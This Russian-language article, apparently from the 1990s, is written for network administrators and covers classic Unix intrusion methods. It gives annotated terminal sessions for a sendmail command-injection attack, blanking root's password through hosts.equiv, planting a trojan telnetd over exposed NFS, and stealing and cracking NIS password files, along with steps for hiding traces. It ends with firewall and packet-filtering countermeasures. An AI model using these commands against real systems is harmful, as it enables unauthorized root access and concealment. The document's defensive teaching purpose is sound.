Вся информация в данном документе предоставлена в образовательных
целях. Для того, чтобы показать как плохо защищены пользователи. Авторы не несут
никакой ответственности за действия лиц использующих информацию из данной
статьи. Если вы не согласны с изложенным выше, то немедленно закройте, а затем
удалите данный файл.
Путешествуя по Интернету, мы очень часто наталкивались
на мольбы пользователей дать им халявного интернета. Цель данного хелпа –
показать как «хакеры» используют различные бреши в продукции компании Майкрософт
с целью получения «бесплатного» интеренета, а также научиться защищаться
от данного вида
атак.
Несанкционированный доступ - примеры вторжения
Повышение интереса к TCP/IP сетям обусловлено бурным ростом сети Internet.
Однако это заставляет задуматься над тем, как защитить свои информационные
ресурсы и компьютеры от различного рода злоумышленников. Для того, чтобы
разработать реально действующие контрмеры, необходимо знать способы и методы
взломщиков. В мировом сообществе Internet уже давно ведется дискуссия о том
публиковать или не публиковать материалы о методах проникновения в чужие
компьютерные сети. После жарких обсуждений, похоже, была осознана необходимость
полной открытости по этому вопросу. Статья основана на опыте администрирования
сети при постоянных попытках взлома и методических указаниях CERT.
Задача данной статьи состоит в том, чтобы обратить внимание администраторов
сетей, подключенных к Internet, на очевидные бреши в системе безопасности
наиболее популярных систем. Кроме примеров взломов и возможных дыр, постараемся
кратко описать основные средства борьбы с этим неизбежным злом. Учитывая тот
факт, что большинство серверов на сети используют операционную систему Unix,
обзор возможных прорех в системе безопасности имеет смысл начать именно с этой
ОС.
Основные методы получения несанкционированного доступа к Unix через
сеть
Начать обзор следует с возможности взлома через электронную почту. Для
пересылки электронной почты по IP на подавляющем большинстве систем используется
программа sendmail, разработанная в университете Беркли. Задуманная как чисто
служебная утилита, эта программа приобрела огромную популярность и вошла в
состав дистрибутива многих Unix-систем. Однако она содержала в себе очень
серьезную ошибку, благодаря которой любой желающий имел возможность выполнить на
удаленной машине команды с привилегиями суперпользователя. Обычно взломщики
пытались отправить себе файл passwd для подбора паролей либо помещали свою
информацию в файлы, использующиеся программами rlogin, rsh для запуска shell без
запроса пароля (Пример 1).
ПРИМЕР 1
crack% telnet target.remote.com 25 Connecting to
123.456.654.321. ! соединяемся по порту 25 - это SMTP 220 sendmail
SMI/4.3.5.2 ready ! версия, которая как известно, содержит ошибку. helo
xxx 220 Helo xxx, ( crack.edu ) mail from: |echo
crack.edu/.rhosts@target.remote.com ! подставляем команду вместо обратного
адреса. 200 Sender ok. rcpt to: nosuchuser ! вводим заранее
неправильного адресата 500 nosuchuser: user unknown ! несмотря на
сообщение, продолжаем диалог. data 230 Enter mail, end with . 200 Mail
accepted ! все, машина взломана.... quit crack% su
! А теперь залезаем так, чтобы нас не было видно через who # rsh
target.remote.com /bin/csh -i Welcome to remote.com! Warning! No access to
terminal, job control disabled! target#
Эта ошибка присутствует в нескольких десятках различных вариантов ОС Unix
самых разных фирм. Кроме того, существуют и более простые способы при
благоприятных условиях: удаленная машина Sun, система SunOS 4, NIS не запущен,
система поставлена, и ничего не исправлялось (Пример 2).
ПРИМЕР 2
crack# su - bin $ rsh target.remote.com /bin/csh -i ! В файле
/etc/hosts.equiv есть запись + и ошибка... Welcome to remote.com! !
Каталог /etc с владельцем bin... Warning! No access to terminal, job control
disabled! % ls -ldg /etc drwxr-xr-x 10 bin bin 1536 Apr 10 01:45
/etc/ % cd /etc ! Делаем passwd доступным на запись нам... % mv passwd
passwd.was % cp passwd.was passwd ! Редактируем % ed
passwd 2341 1p root:Nkkh5gkljGyj:0:0:Root:/:/bin/csh s/Nkkh5gkljGyj//p root::0:0:Root:/:/bin/csh w 2341 q !
И в суперпользователя. %echo /bin/csh -i | su root Warning! No access to
terminal, job control disabled! target# mv /etc/passwd.was /etc/passwd !
Чтобы никто не обнаружил, что мы делали.
Кроме электронной почты в TCP/IP сетях очень широко применяются различные
виды распределенных файловых систем, самой популярной из которых является
Network File System (NFS). В случае неаккуратного заполнения файла /etc/exports
или использования дистрибутива с ошибкой (SunOS 4.1) может возникнуть следующая
ситуация (Пример 3).
ПРИМЕР 3
crack% showmount -e target.remote.com Export list for
target.remote.com /home Everyone /disk3 neptun pluton alpha ! Домашние
каталоги доступны по NFS crack% su # mount -t nfs target.remote.com:/home
/mnt # cd /mnt ! Монтируем каталог к нам # ls -ldg * drwxr-xr-x 10
257 20 1536 Apr 10 01:45 user/ # echo crack.edu user/.rhosts !
Устанавливаем .rhosts у пользователя # cat
/etc/passwd user::257:20::/: ^D ! Создаем такого же у нас # su -
user ! Становимся им $ rsh target.remote.com /bin/csh -i Warning! No
access to terminal, job control disabled! ! И заходим на удаленную
машину % id uid=257(user) gid=20(stuff) groups=20(stuff), 7(sys) % ls
-ldg /usr/etc ! Каталог доступен на запись drwxrwxr-x 10 bin bin 1536 Apr
10 01:45 /usr/etc % grep telnet /etc/inetd.conf telnet stream nowait root
/usr/etc/in.telnetd in.telnetd ! Нашли программу, которая запустится !под
root"ом из нашего каталога % cd /usr/etc % mv in.telnetd in.telnetd1 !
создаем троянского коня % cat in.telnetd #!/bin/sh exec /bin/csh
-i ^D % chmod 755 in.telnetd ! и запускаем его % telnet
127.1 Connecting 127.1. Warning! No access to terminal, job control
disabled! # chown user /etc; ! Делаем /etc своим ^M: command not
found # exit; ^M: command not found Connection closed by foreign
host. % cd /etc ! и далее как раньше как в примере 1.
Если на машине работает NIS-сервер и не принято дополнительных мер, то с
помощью специальной программы можно утащить по сети файл passwd, общий для
некоторого числа машин. В случае несоблюдения правил при создании паролей, есть
довольно приличная вероятность, что программа crack подберет несколько.
Дальнейшие события могут разворачиваться по одному из сценариев для получения
полномочий суперпользователя (Пример 4) (после того, как вы зашли на удаленную
машину как пользователь).
ПРИМЕР 4
! проверяем на NIS сервер crack% rpcinfo -p target.remote.com | grep
bind 120000 2 udp 2493 ypbind ! есть такой... crack% ypx -o
target.passwd -g target.remote.com ! забираем файл паролей crack% crack
target.passwd ! и запускаем подборщик паролей [ a lot of time ] OK,
user user has password iamuser ! нашли, заходим crack% telnet
target.remote.com ! далее как в предыдущем примере.
Естественно, что если известны способы преодоления защиты, то должны быть
разработаны и средства защиты. Для минимизации возможных попыток проникновения в
сеть очень эффективен маршрутизатор, умеющий анализировать поток проходящей
через него информации и осуществляющий фильтрацию пакетов. Эта возможность
реализована практически во всех аппаратных маршрутизаторах (cisco, wellfleet...)
и в виде специального ПО для Unix-машин (Sun, DEC, BSDI, FreeBSD).
Такие маршрутизаторы позволяют осуществлять работу в сети строго по
определенным правилам. Например, не пропускать из/в локальную сеть некоторые
протоколы. Очень рекомендуется запрещать rlogin, rsh, RPC (см. Примеры), а также
пакеты, направленные на порты 2048 и 2049, - это порты данных для NFS. Также
рекомендуется четко определить машины, принимающие почту, и открыть порт 25
только для них. При необходимости возможна конфигурация, которая вообще
запрещает какие-либо заходы по сети в локальную сеть, при этом разрешая изнутри
использовать любые TCP-сервисы глобальной сети. Подобный маршрутизатор или
комбинация из нескольких машин и фильтрующих маршрутизаторов получили название
брандмауэр (от англ. firewall - стена огня).
Для установления полного контроля за всеми соединениями можно использовать
так называемый программный брандмауэр (software firewall). Он представляет собой
своеобразный маршрутизатор, который осуществляет контроль за соединениями не на
уровне IP-пакетов, а на уровне собственно контролируемых протоколов.
В этом случае режим прозрачной пересылки пакетов выключен, но вместо
программ, обеспечивающих работу с необходимыми протоколами (telnet, ftp...),
запускаются программы, которые транслируют эти протоколы в сеть по другую
сторону машины, обычно сверившись по базе данных на предмет правомерности такого
соединения и после идентификации пользователя.